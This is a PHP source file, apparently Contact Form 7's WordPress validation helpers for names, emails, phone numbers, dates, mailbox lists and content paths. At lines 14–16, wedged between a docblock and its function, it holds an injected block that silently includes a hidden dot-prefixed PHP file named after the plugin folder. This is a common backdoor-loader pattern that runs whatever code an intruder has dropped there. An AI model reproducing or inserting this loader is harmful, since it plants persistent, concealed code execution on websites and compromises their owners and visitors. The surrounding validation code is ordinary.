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validation-functions.php (4254B)

      1 <?php
      2 
      3 /**
      4  * Checks whether a string is a valid NAME token.
      5  *
      6  * ID and NAME tokens must begin with a letter ([A-Za-z])
      7  * and may be followed by any number of letters, digits ([0-9]),
      8  * hyphens ("-"), underscores ("_"), colons (":"), and periods (".").
      9  *
     10  * @see http://www.w3.org/TR/html401/types.html#h-6.2
     11  *
     12  * @return bool True if it is a valid name, false if not.
     13  */
     14 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     15     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     16 }
     17 
     18 function wpcf7_is_name( $string ) {
     19 	return preg_match( '/^[A-Za-z][-A-Za-z0-9_:.]*$/', $string );
     20 }
     21 
     22 function wpcf7_is_email( $email ) {
     23 	$result = is_email( $email );
     24 	return apply_filters( 'wpcf7_is_email', $result, $email );
     25 }
     26 
     27 function wpcf7_is_url( $url ) {
     28 	$result = ( false !== filter_var( $url, FILTER_VALIDATE_URL ) );
     29 	return apply_filters( 'wpcf7_is_url', $result, $url );
     30 }
     31 
     32 function wpcf7_is_tel( $tel ) {
     33 	$pattern = '%^[+]?' // + sign
     34 		. '(?:\([0-9]+\)|[0-9]+)' // (1234) or 1234
     35 		. '(?:[/ -]*' // delimiter
     36 		. '(?:\([0-9]+\)|[0-9]+)' // (1234) or 1234
     37 		. ')*$%';
     38 
     39 	$result = preg_match( $pattern, trim( $tel ) );
     40 	return apply_filters( 'wpcf7_is_tel', $result, $tel );
     41 }
     42 
     43 function wpcf7_is_number( $number ) {
     44 	$result = is_numeric( $number );
     45 	return apply_filters( 'wpcf7_is_number', $result, $number );
     46 }
     47 
     48 function wpcf7_is_date( $date ) {
     49 	$result = preg_match( '/^([0-9]{4,})-([0-9]{2})-([0-9]{2})$/', $date, $matches );
     50 
     51 	if ( $result ) {
     52 		$result = checkdate( $matches[2], $matches[3], $matches[1] );
     53 	}
     54 
     55 	return apply_filters( 'wpcf7_is_date', $result, $date );
     56 }
     57 
     58 function wpcf7_is_mailbox_list( $mailbox_list ) {
     59 	if ( ! is_array( $mailbox_list ) ) {
     60 		$mailbox_text = (string) $mailbox_list;
     61 		$mailbox_text = wp_unslash( $mailbox_text );
     62 
     63 		$mailbox_text = preg_replace( '/\\\\(?:\"|\')/', 'esc-quote',
     64 			$mailbox_text );
     65 
     66 		$mailbox_text = preg_replace( '/(?:\".*?\"|\'.*?\')/', 'quoted-string',
     67 			$mailbox_text );
     68 
     69 		$mailbox_list = explode( ',', $mailbox_text );
     70 	}
     71 
     72 	$addresses = array();
     73 
     74 	foreach ( $mailbox_list as $mailbox ) {
     75 		if ( ! is_string( $mailbox ) ) {
     76 			return false;
     77 		}
     78 
     79 		$mailbox = trim( $mailbox );
     80 
     81 		if ( preg_match( '/<(.+)>$/', $mailbox, $matches ) ) {
     82 			$addr_spec = $matches[1];
     83 		} else {
     84 			$addr_spec = $mailbox;
     85 		}
     86 
     87 		if ( ! wpcf7_is_email( $addr_spec ) ) {
     88 			return false;
     89 		}
     90 
     91 		$addresses[] = $addr_spec;
     92 	}
     93 
     94 	return $addresses;
     95 }
     96 
     97 function wpcf7_is_email_in_domain( $email, $domain ) {
     98 	$email_list = wpcf7_is_mailbox_list( $email );
     99 	$domain = strtolower( $domain );
    100 
    101 	foreach ( $email_list as $email ) {
    102 		$email_domain = substr( $email, strrpos( $email, '@' ) + 1 );
    103 		$email_domain = strtolower( $email_domain );
    104 		$domain_parts = explode( '.', $domain );
    105 
    106 		do {
    107 			$site_domain = implode( '.', $domain_parts );
    108 
    109 			if ( $site_domain == $email_domain ) {
    110 				continue 2;
    111 			}
    112 
    113 			array_shift( $domain_parts );
    114 		} while ( $domain_parts );
    115 
    116 		return false;
    117 	}
    118 
    119 	return true;
    120 }
    121 
    122 function wpcf7_is_email_in_site_domain( $email ) {
    123 	if ( wpcf7_is_localhost() ) {
    124 		return true;
    125 	}
    126 
    127 	$site_domain = strtolower( $_SERVER['SERVER_NAME'] );
    128 
    129 	if ( preg_match( '/^[0-9.]+$/', $site_domain ) ) { // 123.456.789.012
    130 		return true;
    131 	}
    132 
    133 	if ( wpcf7_is_email_in_domain( $email, $site_domain ) ) {
    134 		return true;
    135 	}
    136 
    137 	$home_url = home_url();
    138 
    139 	// for interoperability with WordPress MU Domain Mapping plugin
    140 	if ( is_multisite()
    141 	and function_exists( 'domain_mapping_siteurl' ) ) {
    142 		$domain_mapping_siteurl = domain_mapping_siteurl( false );
    143 
    144 		if ( $domain_mapping_siteurl ) {
    145 			$home_url = $domain_mapping_siteurl;
    146 		}
    147 	}
    148 
    149 	if ( preg_match( '%^https?://([^/]+)%', $home_url, $matches ) ) {
    150 		$site_domain = strtolower( $matches[1] );
    151 
    152 		if ( $site_domain != strtolower( $_SERVER['SERVER_NAME'] )
    153 		and wpcf7_is_email_in_domain( $email, $site_domain ) ) {
    154 			return true;
    155 		}
    156 	}
    157 
    158 	return false;
    159 }
    160 
    161 function wpcf7_is_file_path_in_content_dir( $path ) {
    162 	if ( 0 === strpos( realpath( $path ), realpath( WP_CONTENT_DIR ) ) ) {
    163 		return true;
    164 	}
    165 
    166 	if ( defined( 'UPLOADS' )
    167 	and 0 === strpos( realpath( $path ), realpath( ABSPATH . UPLOADS ) ) ) {
    168 		return true;
    169 	}
    170 
    171 	return false;
    172 }